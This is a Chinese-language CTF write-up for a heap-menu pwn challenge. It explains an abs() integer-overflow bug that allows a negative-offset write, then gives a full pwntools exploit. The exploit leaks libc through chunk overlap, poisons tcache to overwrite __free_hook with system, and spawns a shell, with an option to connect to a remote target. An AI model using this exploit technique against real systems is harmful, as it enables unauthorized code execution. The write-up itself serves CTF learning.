每周一pwn系列

基本信息

给了libc

逆向分析

经典堆菜单

重点关注add和edit

  • add

    申请的chunk<0x2f0,并且末尾置0,测试没有off by null

  • edit

这里用abs取绝对值,但是没有对我们的输入作出限制,那么就可以整数溢出,当输入一个 0x80000000(-2147483648) 时,由于正数最大为 2147483647 ,所以会转换失败而返回负值

也就是说我们有一个负向溢出写

漏洞利用

可以负向溢出写,tcache 打 __free_hook

但是该如何泄露libc?

  • 思路1、填满tcache进到unsortedbin。但是题目只能申请16次,填满tcache都得占掉14次,不可行
  • 思路2、利用负向溢出写,能改掉自己的size构造unsortedbin chunk,通过堆重叠泄露libc

EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------
def menu(num):
	sla('> ',str(num))

def add(size,content):
	menu(1)
	sla('size> ',str(size))
	sla('msg> ',content)

def edit(idx,offset,content):
	menu(2)
	sla('idx> ',str(idx))
	sla('offset> ',str(offset))
	sla('msg> ',content)

def delete(idx):
	menu(3)
	sla('idx> ',str(idx))
		
def show(idx):
	menu(4)
	sla('idx> ',str(idx))
		
def pwn():
	
	add(0x1f0,b'a'*0x10)#0
	add(0x1f0,b'a'*0x10)#1
	add(0x1f0,b'a'*0x10)#2
	add(0x1f0,b'a'*0x10)#3
	edit(0,-2147483648,b'\x00'*0x38+p32(0x601))#0
	delete(0)
	add(0x1f0,b'a'*0x10)#4
	show(1)
	
	leak=u64(r(6).ljust(8,b'\x00'))
	libc.address=leak-0x3ebca0
	lg('libc',libc.address)
	free_hook=ls('__free_hook')
	system=ls('system')
	add(0x1f0,b'a'*0x10)#5
	add(0x1f0,b'a'*0x10)#6
	delete(6)	
	delete(5)
	edit(1,0,p64(free_hook))
	
	add(0x1f0,b'a'*0x10)#7
	add(0x1f0,p64(system))#8

	
	edit(3,0,b'/bin/sh')
	delete(3)
	
	dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	context.terminal=["tmux","splitw","-h","-l 150"]
	binary='./pwn'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()
⬆︎TOP